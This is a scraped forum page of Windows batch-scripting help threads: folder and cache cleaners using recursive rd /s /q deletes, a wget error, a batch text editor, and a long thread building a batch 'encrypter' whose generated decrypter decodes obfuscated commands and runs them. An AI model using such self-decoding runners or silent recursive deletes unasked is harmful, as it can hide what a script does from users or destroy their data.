Explore topic-wise InterviewSolutions in .

This section includes InterviewSolutions, each offering curated multiple-choice questions to sharpen your knowledge and support exam preparation. Choose a topic below to get started.

5751.

Solve : Folder Cleaner Utility, Should I include a Log File??

Answer»

I'm developing a command line utility that will remove sub-directories/files BUT leave the parent folder. My question is, should I include the ability to write the deleted sub-directories/files to a log file, so the user could see what was deleted?

CCleaner, will empty a folder but won't show what files it removed. BleachBit, does show the files/folders it deleted.

Any feedback would be great. IMHO, it is always good to have a record of what you did. A log file wail use very little space than the size of the files removed. Adding that would be good. It would also be good for it to show what it is GOING to delete before it does it!QUOTE from: Nexusfactor on January 08, 2016, 10:31:00 AM

I'm developing a command line utility that will remove sub-directories/files BUT leave the parent folder.

This should do that job: it's untested.
Remove the rem to create the log file.

Code: [SELECT]@echo off
:: removes the files and folders under %1 but leaves the %1 folder
set "folder=%~1"

if not "%~1"=="" if exist "%folder%\" (
rem DIR "%folder%" /b /s /a-d >file.log
pushd "%folder%" && (rd /s /Q /f "%folder%" >nul 2>&1 & popd)
)
pause
5752.

Solve : error downloading with wget in batch?

Answer»

K so i installed wget and it all works but then i get permission deny even if i run it as admin

Source:
Code: [Select]for /F "tokens=2,3,4 delims=/ " %%i in ('date/t') do set y=%%k
for /F "tokens=2,3,4 delims=/ " %%i in ('date/t') do set d=%%k%%i%%j
for /F "tokens=5-8 delims=:. " %%i in ('echo.^| time ^| FIND "current" ') do set t=%%i%%j
set t=%t%_
if "%t:~3,1%"=="_" set t=0%t%
set t=%t:~0,4%
set "theFilename=%d%%t%"
echo %theFilename%


cd "C:\Program Files (x86)\GnuWin32\bin"
wget.exe --output-document C:\Users\Inforcer\Desktop http://oxidemod.org/plugins/kill-feed.1433/download?version=8107
pause
Here is the log:

Code: [Select]C:\Users\Inforcer\Desktop>for /F "tokens=2,3,4 delims=/ " %i in ('date/t') do set y=%k

C:\Users\Inforcer\Desktop>set y=2016

C:\Users\Inforcer\Desktop>for /F "tokens=2,3,4 delims=/ " %i in ('date/t') do set d=%k%i%j

C:\Users\Inforcer\Desktop>set d=20160109

C:\Users\Inforcer\Desktop>for /F "tokens=5-8 delims=:. " %i in ('echo.| time | find "current" ') do set t=%i%j

C:\Users\Inforcer\Desktop>set t=1906

C:\Users\Inforcer\Desktop>set t=1906_

C:\Users\Inforcer\Desktop>if "6" == "_" set t=01906_

C:\Users\Inforcer\Desktop>set t=1906

C:\Users\Inforcer\Desktop>set "theFilename=201601091906"

C:\Users\Inforcer\Desktop>echo 201601091906
201601091906

C:\Users\Inforcer\Desktop>cd "C:\Program Files (x86)\GnuWin32\bin"

C:\Program Files (x86)\GnuWin32\bin>wget.exe --output-document C:\Users\Inforcer\Desktop http://oxidemod.org/plugins/kill-feed.1433/download?version=8107
SYSTEM_WGETRC = c:/progra~1/wget/etc/wgetrc
syswgetrc = C:\Program Files (x86)\GnuWin32/etc/wgetrc
C:/Users/Inforcer/Desktop: Permission denied

C:\Program Files (x86)\GnuWin32\bin>pause
Press any key to continue . . .You need to INCLUDE a filename in the output document, I'd guess.

You're telling it to create a file CALLED "desktop" and the location it's pointing to already has a folder called desktop.

That's why the permission error is there, in this case.

5753.

Solve : Automatically click a batch file?

Answer»

Quote from: BC_Programmer on January 04, 2016, 12:03:31 AM

His Windows install is probably borked. Could be a result of him allegedly writing malware and other garbage provided to him by his "professional programming teacher".

no its so that i can implement a pixel mouse inside the batch to click a button, dude back off with the negativity. i run my malware in a virtualbox, and i dont use it for illegal purposes. im noting going to bork my windows. thats non senseQuote from: Geek-9pm on January 02, 2016, 10:38:14 PM
A mentioned earlier, batch is not much of monitoring events and external conditions.

There are a class or group of program tools that do monitor events and signals. Sometimes the signals are called 'Semaphores' ti identify them as a special way to communicate with the operating system when something happens OUTSIDE of the computers own world.

If this is of interest to you, you could read this:
https://en.wikipedia.org/wiki/Semaphore_%28programming%29But that is rather simplified...And it gets more involved...Someday in the future you will pick up the microphone and tell your computer:
"Please click on the batch files I want to click, but not the ones that don't work."
But the programming tool needed will be more than just batch.

im just trying to type in two windows at the same timeQuote from: zask on January 04, 2016, 11:22:45 PM
im just trying to type in two windows at the same time
Again, it is not clear what you mean.
Do you ride two bicycles at the same time? (Very HARD.)
Do you walk two dogs at the same time? (Possible.)
Can you type on two typewrites at the same time? (Clark Kent could.)

For users that need to repeat something MANY l times, they use tools suitable for doing repetition a number of times. Such are called 'macro' devices or tools.

https://en.wikipedia.org/wiki/Macro_%28computer_science%29
Quote
(Thus, they are called "macros" because a big block of code can be expanded from a small sequence of characters.)

In batch you can define macros in a special way. There are not called macros, but they are. On batch can call another batch and pass parameters. For an industrial programmer this serves as a macro.

Quote from: foxidrive on December 30, 2015, 11:57:02 PM
It helps in a programming FORUM to ask an exact question of what you want to do
Quote from: zask on December 31, 2015, 12:02:52 AM
Im sorry that my question appeared bogus, I couldn't think of anyway to explain it any better than i want the file to automatically click itself at start
Quote from: zask on January 01, 2016, 12:47:11 PM
like really it's not that hard to understand
Quote from: zask on January 04, 2016, 11:18:57 PM
no its so that i can implement a pixel mouse inside the batch to click a button
Quote from: zask on January 04, 2016, 11:22:45 PM
im just trying to type in two windows at the same time
Quote from: zask on January 04, 2016, 11:16:15 PM
I want multiple windows to be focused at the same time as the batch windows, for example if i type in google, or on a game or something, it would also type in the batch screen.
Quote from: zask on January 04, 2016, 11:18:57 PM
dude back off with the negativity.
Actually I've been quite restrained. I made significant edits to most of my posts before submitting them to fit within forum rules.
I STILL don' get what he really means.
He says type in two windows. You can not do that. But you can switch windows.
Quote
Many users reach for the mouse, point to the Taskbar, and then click the button for the window they want to bring to the foreground. That's about the slowest, least convenient method. If you're a fan of keyboard shortcuts, like I am, you probably use Alt-Tab to cycle between open windows.

Now if you have a block of text you wish to send to two destination,s you select it and use the 'send to' option to put in on another location. Or send to clipboard and then to destintion.


Okay i dont mean have two windows focused at the same time, i said that wrong, i mean i want to have two windows that implement task and send them to each other, for example like the [Batch] [Colours] [Sound] Honguito98: Limits Of Batch 2 that is found here~

https://www.youtube.com/watch?v=QMiZQxu1Rpo

they all require each window to make it's whole operation work.
5754.

Solve : help for my batch?

Answer»

Hi,

I am writing a simple script.
My aim is to copy every files in "C:\test\source" to "C:\test\destination".
And for every 7 files copied, I would like to sleep 20 SECONDS.
I have been trying so hard but it still fails.
Can anyone help?
Thanks a lot!


@ECHO OFF
ECHO.

set i=0

for /f %%f in ('dir /B C:\test\source') do (
%i%=%i%++
MOVE /y file C:\test\destination
if "%i%" %% 7 =="0" (
echo "Copied and sleep now"
sleep 20
) else (
echo "Copied"
)
)
This is posted on Dostips also, where I gave ADVICE to read the help for /a in the set command.

5755.

Solve : Installation MS-DOS 6.22?

Answer»

As per usual Geek's headline Post is mis-leading...Quote from: BC_Programmer on January 12, 2016, 06:23:34 PM

I've had no issues booting FreeDOS on a Core i7 4770K with 32GB of Memory, but FreeDOS is limited to 4GB total address space as it doesn't support PAE.

Even on MS-DOS 6.22 I don't see any reason to use Quarterdeck's program. HIMEM.SYS is sufficient for XMS memory services, and EMM386 works well enough if you want to expose the 64KB HMA as UMB for DOS to use. I suppose it could be a consideration if you make heavy use of programs that use expanded memory, though I'm uncertain what QEMM even provides in that context.

The limit of HIMEM.SYS is why anyone WOULD use QEMM. Even back in the later 80s when expanded and extended memory was available it allowed extensive use of as much RAM for you to use. Now back then when your average machine was somewhere around 8 to 16 mhz compiling and linking took several hours but if you load your source, set temp, and load your compiler and linking up in a fast ram disk you cut your time almost in half. Also back then you did not have HIMEM.SYS to use, Also back then I ran a multi-node BBS on an old IBM-PC with an AST 6-pak expanded memory card loaded with 16meg of RAM. 3 windows for the BBS and one I USED for maintenance. I used it through Win98.

I guess if you never have used it you would not know some of the advantages of it.I did a search on ebay and yep you can buy 6.22. But these are on floppies, some on 5.25" floppies. Floppies are magnetic disks, and they do not last a life time, fact is 2 years is stretching it if they are never used. Also you have no idea how or where they were stored since any thing magnetic will erase them in a heartbeat.

The product id was just that a product key, you did not enter it to make it work. The ID really was to go with the computer it was installed on. I built many a dos machine and packaged the manual with the machine, and never put in any ID.

Also my original floppies are trash, but several years ago before they went dead I created a boot CD with 6.22 and copied the files to the CD. If, and it has several times in its life, were to die I can easily reload DOS. I did the same with my Win4WG 3.11 and those original floppies are also dead now. Quote from: OldTimeCoder on January 12, 2016, 02:29:26 PM
I triple boot on this machine MS-DOS, Linux, and WinXP.

Virtual machines is what I use these days.

Booting a PHYSICAL machine is OK if you have hardware requirements that need a real OS, or have some program that can't be made to run in a VM - but the convenience of a virtual OS is MAGIC.
5756.

Solve : Simple Batch Text Editor Plzzz help?

Answer»

I am trying to make a batch file that creates messages for other batch files. It FIRST ask for a name to name the file it creates. then then asks to display a MESSAGE which goes into a spinner for 20 loops and then displays if you would like to clear the screen or continue typing. The problem is that every time I type (Y) in the prompt to clear the text of the created batch file, the prompt closes for an unknown reason. can anyone help?

@echo off
SETLOCAL ENABLEDELAYEDEXPANSION
color 17
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo ºBatch Text Editorº
echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
PAUSE
:Restart2
cls
SET /p "FileName= Enter the name of the file you want to name: "
echo @echo off > %FileName%.bat
echo The file %FileName%.bat was created!
pause
cls
SET X=1


:Restart1
if %X% EQU 1 echo Line (1)
SET /p "Message= Type message here: "
echo echo %Message% >> %FileName%.bat

) ELSE (
SET /a X+=1
)
if !X! EQU 21 goto Reboot
echo Line (%X%)
goto Restart1

:Reboot
echo pause >> %FileName%.bat
SET /p "YN=Would you like to clear the screen? (Y/N): "
if %YN%==Y echo. > %FileName%.bat
if %YN%==y echo. > %FileName%.bat
if %YN%==N echo goto Restart2
if %YN%==n echo goto Restart2Ill be here if anyone can help.Your IF - ELSE block after label Restart1 does not look right. There is no opening parenthesis ending the IF line.

Also not connected to the problem I think:

You did know that you don't need to test separately for upper and lower case?

INSTEAD of this:

If %var%==N bla bla bla
If %var%==n bla bla bla

You can use the /i switch for IF which ignores case:

If /i %var%==N bla bla bla


Quote from: Salmon Trout on January 17, 2016, 02:55:25 AM

Your IF - ELSE block after label Restart1 does not look right. There is no opening parenthesis ending the IF line.

Also not connected to the problem I think:

You did know that you don't need to test separately for upper and lower case?

Instead of this:

If %var%==N bla bla bla
If %var%==n bla bla bla

You can use the /i switch for IF which ignores case:

If /i %var%==N bla bla bla
no i did not know that, thanks!
5757.

Solve : %appdata% use within batch help?

Answer»

I made a batch earlier today to clean my IMVU http game cache that grows over time with no built in size management, and as it grows it starts to lag out performance as at one point it was filled with 5.3GB of cache mostly junk gathered throughout gameplay which appears to act like a precache for the game. However when you end up with over 100,000 of these small files the performance benefit of these files being local disappears. I made a copy of IMVU before and after so I could restore the 5.3GB of cache data back and it LOADS rooms etc more than twice as fast by not seeking the data locally but instead redownloading it off the IMVU servers over 25/5 mbps broadband. The batch I made for this specific COMPUTER I just gave it the full path of c:\Users\AX4\AppData\Roaming\IMVU\ and told it to remove the HttpCache directory and all contents silently. Then recreate an empty directory back at that location for the IMVU client to write to when the game is run again.

Decided after I made the batch that why dont i figure out a WAY to make it not system user profile specific. Did some research into the %appdata% use so that it can be dynamic and work for all, but I'm running into syntax error on use and its probably something really simple, but after google searching I figure why not check with you all here to have you point out how to correct for this issue.

Told my friends about cleaning out my IMVU cache made it so much better. Now they want to run it too, but I figured why not make it for anyone to use without having to alter the batch file to be user specific.

Quote

The filename, directory name, or volume label syntax is incorrect.


***************************
Erasing IMVU Http Cache
Please Wait...
***************************


Note: The pause after the rd /s /q HttpCache is only here for debugging and WOULD be removed later. I placed it there to capture the error condition.

echo off
color 4f
cls
@echo.
@echo. ***************************
@echo. IMVU Http Cache Eraser
@echo. ***************************
@echo. Version 1.0
@echo. 6/1/2016
@echo.
pause
color e0
cls
cd c:\%AppData%\Roaming\IMVU\
@echo.
@echo.
@echo. ***************************
@echo. Erasing IMVU Http Cache
@echo. Please Wait...
@echo. ***************************
@echo.
@echo.
rd /s /q HttpCache
pause
md HttpCache
color 3f
cls
@echo. **************************
@echo. IMVU Http Cache Erased
@echo. **************************
@echo.
@echo.
pauseThe expansion of the %appdata% environment variable already contains the system drive letter, colon and backslash e.g. C:\ at the beginning so you don't need it like in the code line following. It will make the CD command point to a non-existent folder and give the error you saw.

cd c:\%AppData%\Roaming\IMVU\
Thanks Salmon for assisting... But its still not happy.

Using Windows 7 Home Premium 64-bit by the way just in case that make a difference somehow.

I tried

cd %AppData%\Roaming\IMVU\
cd \%AppData%\Roaming\IMVU\
cd C:\%AppData%\Roaming\IMVU\

And the path is correct to this folder at the deeper target of Roaming\IMVU\

Changed it to cd %AppData%\Roaming\IMVU\ as suggested and it says path not found.


Quote
The system cannot find the path specified.


***************************
Erasing IMVU Http Cache
Please Wait...
***************************


The system cannot find the file specified.
Press any key to continue . . .



Here is my system paths from SET:
Quote
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\AX4>set
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\AX4\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=AX4-PC
ComSpec=C:\Windows\system32\cmd.exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=\Users\AX4
LOCALAPPDATA=C:\Users\AX4\AppData\Local
LOGONSERVER=\\AX4-PC
NUMBER_OF_PROCESSORS=4
OS=Windows_NT
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32
\WindowsPowerShell\v1.0\;C:\Program Files (x86)\NVIDIA Corporation\PhysX\Common
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=AMD64 Family 16 Model 5 Stepping 2, AuthenticAMD
PROCESSOR_LEVEL=16
PROCESSOR_REVISION=0502
ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files
PROMPT=$P$G
PSModulePath=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\
PUBLIC=C:\Users\Public
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\Windows
TEMP=C:\Users\AX4\AppData\Local\Temp
TMP=C:\Users\AX4\AppData\Local\Temp
USERDOMAIN=AX4-PC
USERNAME=AX4
USERPROFILE=C:\Users\AX4
windir=C:\Windows

C:\Users\AX4>

[attachment deleted by admin to conserve space]Environment variable may not expand %APPDATA% to the Application folder
https://support.microsoft.com/en-us/kb/329308
Quote
This behavior is caused by a problem in Shell32.dll.
Hello Geek ... it looks like that bug is in reference to:

Quote
Article ID: 329308 - Last Review: 02/28/2007 23:02:00 - Revision: 2.3
Applies to

Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Server
Microsoft Windows 2000 Professional Edition
Microsoft Windows XP Home Edition
Microsoft Windows XP Professional
Windows Server 2008 Datacenter without Hyper-V
Windows Server 2008 Enterprise without Hyper-V
Windows Server 2008 for Itanium-Based Systems
Windows Server 2008 Standard without Hyper-V
Windows Server 2008 Datacenter
Windows Server 2008 Enterprise
Windows Server 2008 Standard
Windows Web Server 2008

Keywords:

kbprb KB329308

And I'm running Windows 7 64-bit

I didnt catch this fact that it was for different OS until I went to the suggested fix and there was no Properties option and I was like hmmm why is it missing and then I looked further and saw that it was regarding other affected OS's. Quote
APPDATA=C:\Users\AX4\AppData\Roaming
Quote
Changed it to cd %AppData%\Roaming\IMVU\ as suggested and it says path not found.

That expands to C:\Users\AX4\AppData\Roaming\Roaming\IMVU\ .

You want
Code: [Select]%APPDATA%\IMVUCOOL! Thanks BC

That was the fix!

Thanks everyone. I thought it would only bring you in to the AppData depth of the path. Did not know that any subfolders could be targeted without exclusive pathing. I thought the path had to be exclusive to be specific to Roaming prior to IMVU.

Correction to my last response

Quote
Did not know that any subfolders could be targeted without exclusive pathing. I thought the path had to be exclusive to be specific to Roaming prior to IMVU.

I realized I was wrong in my statement. Looking back here I see that %AppData% pointed direct to the Roaming folder of the profile
Quote
APPDATA=C:\Users\AX4\AppData\Roaming

The path is specific as seen in SET

The fix to batch worked perfect, so issue is solved, but in case anyone ever gets here and reads the entire thread, they will see this correction.Windows XP SP3 C:\Documents and Settings\username\Application Data

Windows 7 SP2 C:\Users\username\AppData\Roaming

Windows 10 C:\Users\username\AppData\Roaming


Usernames can have spaces and other nasties, so wrap it in double quotes to protect against that.


Code: [Select]"%APPDATA%\IMVU"Cool Thanks Foxidrive ... I overlooked that.

The good thing is that my friends computers who also run IMVU dont have spaces so the original form worked like a charm, but its good to state it here to fix that line to include the " " in case someone else runs with the batch to use as their own that finds this online.

5758.

Solve : getting variables in batch encrypter to work.?

Answer»

I changed the code again, maybe this one is more better to look at.
before i thought it wasn't possible to make the variables work but it is.
turns out i have to encrypt everything but the defined variables.
this is the encrypter.

title Encrypt Batch File
color f0
@ECHO Off
mode con:cols=50 lines=2
echo Encrypt Batch File
pause
cls
mode con:cols=160 lines=2
Setlocal EnableDelayedExpansion
Set _RNDLength=8
Set _Alphanumeric=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
Set _Str=%_Alphanumeric%987654321
:_LenLoop
IF NOT "%_Str:~18%"=="" SET _Str=%_Str:~9%& SET /A _Len+=9& GOTO :_LenLoop
SET _tmp=%_Str:~9,1%
SET /A _Len=_Len+_tmp
Set _count=0
SET _RndAlphaNum=
:_loop
Set /a _count+=1
SET _RND=%Random%
Set /A _RND=_RND%%%_Len%
SET _RndAlphaNum=!_RndAlphaNum!!_Alphanumeric:~%_RND%,1!
If !_count! lss %_RNDLength% goto _loop

REM 65 for upper case, 97 for lower case
set CaseType=97
> Randalphabet.vbs echo randomize timer
>> Randalphabet.vbs echo RandAlphabet=""
>> Randalphabet.vbs echo Do
>> Randalphabet.vbs echo randchar = Chr(Int(26*Rnd+%CaseType%))
>> Randalphabet.vbs echo If Instr(RandAlphabet, randchar) = 0 Then RandAlphabet = RandAlphabet ^& randchar
>> Randalphabet.vbs echo if len(RandAlphabet) = 26 Then exit Do
>> Randalphabet.vbs echo Loop
>> Randalphabet.vbs echo wscript.echo RandAlphabet
for /f "delims=" %%A in ('cscript //nologo Randalphabet.vbs') do set Randalphabet=%%A
del Randalphabet.vbs

set /A CREATEKEY=%random% %% 3%random:~-1%%random:~-1%

set /P "FILEA= Enter the name of the text file that you WISH to encrypt (Example; "Somefile") This file should have your batch commands in it : "
cls
set /P "FILEB= Enter the new name for the text file that you wish to encrypt (Example; "NewFile") This is the ecrypted version of yor text file : "
cls
set /P "FILEC= Enter the name of the decrypter that will be generated (Example; "Decrypter") This will decrypt and execute your encrypted code : "
cls

Setlocal EnableExtensions
for /f "delims=" %%A in (%FILEA%.txt) do (
Set /a C+=1
Set X[!C!]=%%A
set CHECKPASSWORD=%%A
set CHECKKEY=%%B
set CHAR=0123456789%Randalphabet%

for /l %%C in (10 1 36) do (
for /f %%D in ("!CHAR:~%%C,1!") do (
set /a MATH=%%C*%CREATEKEY%
for /f %%E in ("!MATH!") do (

set "CHECKPASSWORD=!CHECKPASSWORD:%%D=¼%%E!"
)
)
)

echo !CHECKPASSWORD! >> %FILEB%.!_RndAlphaNum!
)
Set X

echo @ECHO Off > "%FILEC%.bat"
echo. >> "%FILEC%.bat"
echo Setlocal EnableExtensions EnableDelayedExpansion >> "%FILEC%.bat"
echo for /f "delims=" %%%%A in (%FILEB%.!_RndAlphaNum!) do ( >> "%FILEC%.bat"
Setlocal DisableExtensions DisableDelayedExpansion
echo Set /a C+=1 >> "%FILEC%.bat"
echo Set X[!C!]=%%%%A >> "%FILEC%.bat"
echo set CHECKPASSWORD=%%%%A >> "%FILEC%.bat"
echo set CHECKKEY=%%%%B >> "%FILEC%.bat"
echo set CHAR=0123456789%Randalphabet% >> "%FILEC%.bat"
echo. >> "%FILEC%.bat"
echo for /l %%%%C in (10 1 36) do ( >> "%FILEC%.bat"
echo for /f %%%%D in ("!CHAR:~%%%%C,1!") do ( >> "%FILEC%.bat"
echo set /a MATH=%%%%C*%CREATEKEY% >> "%FILEC%.bat"
echo for /f %%%%E in ("!MATH!") do ( >> "%FILEC%.bat"
echo. >> "%FILEC%.bat"
echo set "CHECKPASSWORD=!CHECKPASSWORD:%%%%E=%%%%D!" >> "%FILEC%.bat"
echo ) >> "%FILEC%.bat"
echo ) >> "%FILEC%.bat"
echo ) >> "%FILEC%.bat"
echo for /f %%%%F in ("!CHECKPASSWORD!") do ( >> "%FILEC%.bat"
echo set "CHECKPASSWORD=!CHECKPASSWORD:¼=!" >> "%FILEC%.bat"
Setlocal EnableExtensions EnableDelayedExpansion
echo ^^!CHECKPASSWORD^^! >> "%FILEC%.bat"
echo ) >> "%FILEC%.bat"
echo ) >> "%FILEC%.bat"
echo Set X >> "%FILEC%.bat"

now that i figured out that variables do work, i know they cant be encrypted or they wont work, how would i encrpyt everything in the text file except the variables. you can encrpyt where you set the variables but as FAR as CALLING them back, it has to be unencrypted to work. for example;

if i use this batch file.

@ECHO Off

Setlocal EnableExtensions EnableDelayedExpansion
for /f "delims=" %%A in (2.jhuAwr1t) do (
Set /a C+=1
Set X[!C!]=%%A
set CHECKPASSWORD=%%A
set CHECKKEY=%%B
set CHAR=0123456789porqkbgsnavdxmjihtfcluyzew

for /l %%C in (10 1 36) do (
for /f %%D in ("!CHAR:~%%C,1!") do (
set /a MATH=%%C*356
for /f %%E in ("!MATH!") do (

set "CHECKPASSWORD=!CHECKPASSWORD:%%E=%%D!"
)
)
)
for /f %%F in ("!CHECKPASSWORD!") do (
set "CHECKPASSWORD=!CHECKPASSWORD:¼=!"
call !CHECKPASSWORD!
)
)
Set X


with a text file named "2.jhuAwr1t" with this in it.

¼6052¼12104¼9612 ¼6764=¼9612¼12104¼6052¼9612
¼12104¼10324¼9256¼3916 %A%
¼3560¼6764¼11036¼6052¼12104

the variables will work completely fine.

notice the VARIABLE %A%
i didn't encrypt it and it works!

the set command is encrpyted.

set A=test

now all i need to know is how to avoid encrypting everything between
"%PercentageSigns%" and everything 1 letter after 2 percentage signs "%%P"
how would i do this? I've been thinking that if i can make it avoid encrpything everything that is capitalized so that i could type the code in the text file all in lower case and define the variables capitalized before actually encrypting it. but i need to know how to avoid the capitalized characters

i tried doing this by changing the above code to this

REM Check for caps
echo(%%A|findstr /V "[abcdefghijklmnopqrstuvwxyz]" >nul && (
goto avoid
) || (
REM Encrypt
for /f %%D in ("!CHAR:~%%C,1!") do (
set /a MATH=%%C*%CREATEKEY%
for /f %%E in ("!MATH!") do (
)

REM Avoid the caps
:avoid

REM place a character between commands
set "CHECKPASSWORD=!CHECKPASSWORD:%%D=¼%%E!"
)
)
)

REM Send to encrypted text file
echo !CHECKPASSWORD! >> %FILEB%.!_RndAlphaNum!
)
)
Set X

but im a little confused to place what goes where or if im doing it correctly or not.
if i can do this, then this would be a nearly perfect batch encryter. and no im not trying to do a OTP encryption. just a simple batch encrypter.

Zack, I thought you already did this.
It is still hard to understand your intention.
Quote from: Geek-9pm on May 24, 2016, 03:42:06 PM

Zack, I thought you already did this.
It is still hard to understand your intention.

okay i will explain, and yes i have but i just got busy and just now had the time to start again.
im trying to make a text file. this text file will have commands in the batch language inside of it. i want to make a encrypter to take this text file and encrypt it. after the text file becomes encrypted i want the encrypter to generate another batch file (the decrypter), in this new batch file, it will take all the encrpyted lines of text (commands) and decrypt them within the same batch file and execute them. this way i can actually encrypt my batch files themselves, unlike other batch encrypters that only encrypt messages, i want to make the first actual batch encrpyter (a.k.a encrpyt the commands). I gave up in the past because i couldn't get any commands that involve variables to execute within the decrypt batch file in the correct way. but i found out that as long as the variables aren't enrypted and everything else is, the code will work completely fine. i tested this with the example above. now im wondering if there is a way to avoid encrypting capitalized letters, this way if a make a variable like this %A%, it wont become encrypted. but if i add one like this %a%, it will become encrypted. this way i can ensure that if i capitalized all my variables, they will display correctly rather than incorrectly because they wont become encrypted.

if you would like me to explain exactly what everything in the code is doing then i can, and it's honestly not as complex as it looks. it's actually petty essay to understand once you explain it. the reason is because at this moment, there is no true batch encrypter, and i think it would just be absolutely amazing if someone could make one of these, because it is possible, just no one has put the effort into doing it. if i obfuscated my code, then encrypt my obfuscated code, as well as obfuscate my decrpyter, then compile the decrpyter, then i could more effectively protect my batch file sources, or at least use it for a small part of my programs that i have compiled. is this elaborate enough? The problem is in this section of code.

Setlocal EnableExtensions
for /f "delims=" %%A in (%FILEA%.txt) do (
Set /a C+=1
Set X[!C!]=%%A
set CHECKPASSWORD=%%A
set CHECKKEY=%%B
set CHAR=0123456789%Randalphabet%%%
echo(%%A|findstr /v "[abcdefghijklmnopqrstuvwxyz]" >nul && (
goto avoid
) || (
for /l %%C in (10 1 36) do (
for /f %%D in ("!CHAR:~%%C,1!") do (
set /a MATH=%%C*%CREATEKEY%
for /f %%E in ("!MATH!") do (
:avoid
set "CHECKPASSWORD=!CHECKPASSWORD:%%D=¼%%E!"
)
)
)
echo !CHECKPASSWORD! >> %FILEB%.!_RndAlphaNum!
)
)
)
Set X
Quote from: zask on May 24, 2016, 03:44:17 PM
okay i will explain, and yes i have but i just got busy and just now had the time to start again.
im trying to make a text file. this text file will have commands in the batch language inside of it. i want to make a encrypter to take this text file and encrypt it. after the text file becomes encrypted i want the encrypter to generate another batch file (the decrypter), in this new batch file, it will take all the encrpyted lines of text (commands) and decrypt them within the same batch file and execute them. this way i can actually encrypt my batch files themselves, unlike other batch encrypters that only encrypt messages, i want to make the first actual batch encrpyter (a.k.a encrpyt the commands). I gave up in the past because i couldn't get any commands that involve variables to execute within the decrypt batch file in the correct way. but i found out that as long as the variables aren't enrypted and everything else is, the code will work completely fine. i tested this with the example above. now im wondering if there is a way to avoid encrypting capitalized letters, this way if a make a variable like this %A%, it wont become encrypted. but if i add one like this %a%, it will become encrypted. this way i can ensure that if i capitalized all my variables, they will display correctly rather than incorrectly because they wont become encrypted.

if you would like me to explain exactly what everything in the code is doing then i can, and it's honestly not as complex as it looks. it's actually petty essay to understand once you explain it. the reason is because at this moment, there is no true batch encrypter, and i think it would just be absolutely amazing if someone could make one of these, because it is possible, just no one has put the effort into doing it. if i obfuscated my code, then encrypt my obfuscated code, as well as obfuscate my decrpyter, then compile the decrpyter, then i could more effectively protect my batch file sources, or at least use it for a small part of my programs that i have compiled. is this elaborate enough? The problem is in this section of code.

Setlocal EnableExtensions
for /f "delims=" %%A in (%FILEA%.txt) do (
Set /a C+=1
Set X[!C!]=%%A
set CHECKPASSWORD=%%A
set CHECKKEY=%%B
set CHAR=0123456789%Randalphabet%%%
echo(%%A|findstr /v "[abcdefghijklmnopqrstuvwxyz]" >nul && (
goto avoid
) || (
for /l %%C in (10 1 36) do (
for /f %%D in ("!CHAR:~%%C,1!") do (
set /a MATH=%%C*%CREATEKEY%
for /f %%E in ("!MATH!") do (
:avoid
set "CHECKPASSWORD=!CHECKPASSWORD:%%D=¼%%E!"
)
)
)
echo !CHECKPASSWORD! >> %FILEB%.!_RndAlphaNum!
)
)
)
Set X

im basically trying to add this to my code

@echo off
setlocal
set x=ABC
set y=AbC
echo(%x%|findstr /v "[abcdefghijklmnopqrstuvwxyz]" >nul && (
echo %x% is Valid
pause
) || (
echo %x% is Invalid
pause
)
echo(%y%|findstr /v "[abcdefghijklmnopqrstuvwxyz]" >nul && (
echo %y% is Valid
pause
) || (
echo %y% is Invalid
pause
)

this is all i can think of so far


Setlocal EnableExtensions
for /f "delims=" %%A in (%FILEA%.txt) do (
:reload
Set /a C+=1
Set X[!C!]=%%A
set CHECKPASSWORD=%%A
set CHECKKEY=%%B
set CHAR=0123456789%Randalphabet%
Setlocal EnableExtensions
echo("%%A"|findstr /v "[abcdefghijklmnopqrstuvwxyz]" >nul && (
echo %%A >> %FILEB%.!_RndAlphaNum!
call :reload )
) || (
for /l %%C in (10 1 36) do (
for /f %%D in ("!CHAR:~%%C,1!") do (
set /a MATH=%%C*%CREATEKEY%
for /f %%E in ("!MATH!") do (

set "CHECKPASSWORD=!CHECKPASSWORD:%%D=¼%%E!"
)
)
)
echo !CHECKPASSWORD! >> %FILEB%.!_RndAlphaNum!
)
)There is a button on the editor toolbar in the forum that adds code TAGS around the highlighted section of text.
- usually you highlight your code and then select the # button and it will appear correctly when you submit your post.Code: [Select]@echo off
setlocal
set x=ABC
set y=AbC
echo(%x%|findstr /v "[abcdefghijklmnopqrstuvwxyz]" >nul && (
echo %x% is Valid
pause
) || (
echo %x% is Invalid
pause
)
echo(%y%|findstr /v "[abcdefghijklmnopqrstuvwxyz]" >nul && (
echo %y% is Valid
pause
) || (
echo %y% is Invalid
pause
)

this is all i can think of so far


Setlocal EnableExtensions
for /f "delims=" %%A in (%FILEA%.txt) do (
:reload
Set /a C+=1
Set X[!C!]=%%A
set CHECKPASSWORD=%%A
set CHECKKEY=%%B
set CHAR=0123456789%Randalphabet%
Setlocal EnableExtensions
echo("%%A"|findstr /v "[abcdefghijklmnopqrstuvwxyz]" >nul && (
echo %%A >> %FILEB%.!_RndAlphaNum!
call :reload )
) || (
for /l %%C in (10 1 36) do (
for /f %%D in ("!CHAR:~%%C,1!") do (
set /a MATH=%%C*%CREATEKEY%
for /f %%E in ("!MATH!") do (

set "CHECKPASSWORD=!CHECKPASSWORD:%%D=¼%%E!"
)
)
)
echo !CHECKPASSWORD! >> %FILEB%.!_RndAlphaNum!
)
)
Quote from: foxidrive on May 25, 2016, 01:59:45 AM
